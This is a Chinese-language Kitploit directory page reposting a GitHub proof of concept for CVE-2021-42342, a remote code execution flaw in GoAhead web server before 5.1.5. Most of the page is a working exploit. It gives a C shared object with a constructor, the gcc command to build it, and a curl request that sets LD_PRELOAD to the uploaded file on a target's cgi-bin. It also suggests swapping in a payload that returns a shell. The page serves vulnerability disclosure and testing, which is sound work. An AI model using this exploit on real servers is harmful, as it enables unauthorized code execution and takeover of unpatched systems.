Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
goahead-webserver-pre-5.1.5-RCE-PoC-CVE-2021-42342- — 对于Goahead Web服务器(版本5.1.5之前)中发现的最新远程代码执行(RCE)漏洞的一个小型概念验证(PoC)。 | Kitploit
工具/GitHubGitHub/kimusan/goahead-webserver-pre-5.1.5-rce-poc-cve-2021-42342-
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队
GitHubkimusan/goahead-webserver-pre-5.1.5-rce-poc-cve-2021-42342-

goahead-webserver-pre-5.1.5-RCE-PoC-CVE-2021-42342-

对于Goahead Web服务器(版本5.1.5之前)中发现的最新远程代码执行(RCE)漏洞的一个小型概念验证(PoC)。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
23424年前Kitploit 审核通过

Goahead Web服务器(v5.1.5 之前版本)RCE 利用 PoC(CVE-2021-42342)

William Bowling 最近发现了 Goahead Web 服务器中的一个漏洞,可导致被利用服务器上的远程代码执行(RCE)。

该问题存在于 5.1.5 版本之前,根据 Shodan 统计,影响约 280 万台互联网服务器。
现在已经有了 CVE:[https://nvd.nist.gov/vuln/detail/CVE-2021-42342]

该 RCE 的成因是:如果启用了文件上传过滤器,那么用户不仅可以上传文件,还可以同时设置用户表单变量。

这些变量最终会变成操作系统的环境变量。这在正常情况下不是问题,因为在正常的表单上传情况下,环境变量会被加上 CGI_ 前缀(默认)。然而,如果启用了文件上传过滤器,代码中的一个错误会导致这个前缀被遗漏,从而通过环境变量加文件实现即时 RCE。

创建简单的共享对象

以下代码只是在远程服务器上打印 "Hello World",但实际中可以修改为任何内容:

root@kitploit:~
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
static void before_main(void) __attribute__((constructor));

static void before_main(void)
{
    write(1, "Hello World!\n", 14);
}

编译使用:

root@kitploit:~
gcc -fPIC -shared -o poc.so poc.c -nostartfiles

利用服务器

现在我们可以向服务器发送文件了。可以使用 curl 完成:

root@kitploit:~
curl -X POST  http://[TARGET]/cgi-bin/ -F "LD_PRELOAD=/proc/self/fd/0" -F file='@poc.so;encoder=base64'

将 [TARGET] 替换为目标服务器的域名/IP。

你可能会看到服务器返回错误,但可以尝试使用另一个共享对象,比如能给你返回一个 Shell 的 👍

修复

goahead 5.1.5 版本已修复,详情见:[https://github.com/embedthis/goahead/issues/305]

致谢

该问题最初由 Perfect Blue CTF 团队的 William Bowling 发现。
在 pbCTF 2021 中,一个挑战使用了当时存在的 goahead 服务器(5.1.4 版本),我们与 Kalmarunionen CTF Team 一起发现了代码中同样的 0day 问题(当时尚未向作者披露)。

下载工具